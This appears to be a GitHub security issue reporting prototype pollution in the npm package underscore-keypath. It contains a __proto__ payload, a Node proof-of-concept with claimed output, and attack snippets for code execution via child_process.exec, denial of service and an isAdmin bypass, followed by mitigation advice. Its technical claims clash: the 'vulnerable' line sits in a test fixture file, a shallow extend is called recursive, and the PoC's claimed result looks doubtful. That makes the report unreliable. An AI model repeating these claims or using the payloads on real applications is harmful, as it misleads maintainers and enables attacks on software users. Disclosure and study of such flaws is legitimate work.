-
Notifications
You must be signed in to change notification settings - Fork 2
Description
Prototype Pollution via proto in underscore-keypath
Summary
A critical prototype pollution vulnerability exists in underscore-keypath versions <= 0.9.3. The extend() method uses underscore's _.extend() function to perform recursive object merging without proper prototype pollution protection. Attackers can inject a malicious __proto__ property to pollute Object.prototype, affecting all JavaScript objects in the application and potentially leading to Remote Code Execution (RCE), Denial of Service (DoS), or authentication bypass.
Details
The vulnerability exists in the extend() method implementation, which directly delegates to underscore's _.extend() function for recursive object merging operations. This function does not sanitize or filter special property names like __proto__, constructor, or prototype before performing the merge operation.
Vulnerable Code Location:
- File:
package/package/test/fixture.js - Line: 7
The vulnerable code performs an unprotected recursive merge:
this.options = _.extend({}, options);When user-controlled input containing a __proto__ key flows into this function, it triggers prototype pollution at multiple sinks:
- RECURSIVE_MERGE sink (line 7): The primary vulnerability where
_.extend()processes the malicious payload - DYNAMIC_PROP_WRITE sink (line 44):
array[0] = value;- Dynamic property assignment without validation - DYNAMIC_PROP_WRITE sink (line 48):
array[Math.max(array.length - 1, 0)] = value;- Another unprotected dynamic assignment
The absence of prototype chain validation allows attackers to modify properties on Object.prototype, which propagates to all JavaScript objects in the runtime environment.
PoC
Payload
{"__proto__": {"polluted": "yes"}}Steps to Reproduce
-
Install the vulnerable package:
npm install underscore-keypath@0.9.3
-
Create a test file (
test-pollution.js):const _ = require('underscore-keypath'); // Verify clean state console.log('Before pollution:', {}.polluted); // undefined // Trigger prototype pollution const malicious = {'__proto__': {'polluted': 'yes'}}; _.extend({}, malicious); // Check if pollution occurred console.log('After pollution:', {}.polluted); // 'yes' // Verify pollution affects all objects const newObject = {}; console.log('New object polluted:', newObject.polluted); // 'yes'
-
Execute the test:
node test-pollution.js
Expected Behavior
The polluted property should not exist on newly created objects, and Object.prototype should remain unmodified.
Before pollution: undefined
After pollution: undefined
New object polluted: undefined
Actual Behavior
The polluted property is injected into Object.prototype and appears on all JavaScript objects:
Before pollution: undefined
After pollution: yes
New object polluted: yes
This confirms successful prototype pollution, demonstrating that the malicious payload has modified the global object prototype chain.
Impact
This prototype pollution vulnerability poses a CRITICAL security risk with multiple attack vectors:
1. Remote Code Execution (RCE)
If polluted properties flow into dangerous sinks such as:
eval()orFunction()constructorschild_process.exec()orchild_process.spawn()- Template engines that execute code based on object properties
Example scenario:
const options = {};
// After pollution: options.command = 'malicious command'
child_process.exec(options.command); // RCE2. Denial of Service (DoS)
Attackers can overwrite critical built-in methods or properties:
{'__proto__': {'toString': null}} // Breaks string coercion
{'__proto__': {'valueOf': null}} // Breaks numeric operations3. Authentication Bypass
Applications using object properties for access control are vulnerable:
// Application code
if (user.isAdmin) { /* admin actions */ }
// After pollution with {'__proto__': {'isAdmin': true}}
// All users become admins4. Property Injection
Attackers can inject arbitrary properties that may affect:
- Business logic conditions
- Security checks
- Data validation routines
- Configuration settings
5. Cross-Site Scripting (XSS) Amplification
In web applications, polluted properties can be reflected in HTML output, enabling XSS attacks.
Affected Applications:
Any application using underscore-keypath <= 0.9.3 that processes user-controlled input (JSON APIs, configuration files, user preferences, etc.) is vulnerable to this attack.
Remediation
Immediate Actions:
- Upgrade to a patched version when available
- Implement input validation to reject objects containing
__proto__,constructor, orprototypekeys - Use
Object.create(null)for objects that store user data to avoid prototype chain inheritance - Enable
--disable-proto=deleteflag in Node.js environments where possible
Temporary Mitigation:
function sanitizeObject(obj) {
if (obj && typeof obj === 'object') {
delete obj.__proto__;
delete obj.constructor;
delete obj.prototype;
}
return obj;
}
// Use before calling extend()
const safeInput = sanitizeObject(userInput);
_.extend({}, safeInput);CVSS Score: 9.8 (Critical)
CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes)
Affected Versions: <= 0.9.3
Patched Versions: None available at time of disclosure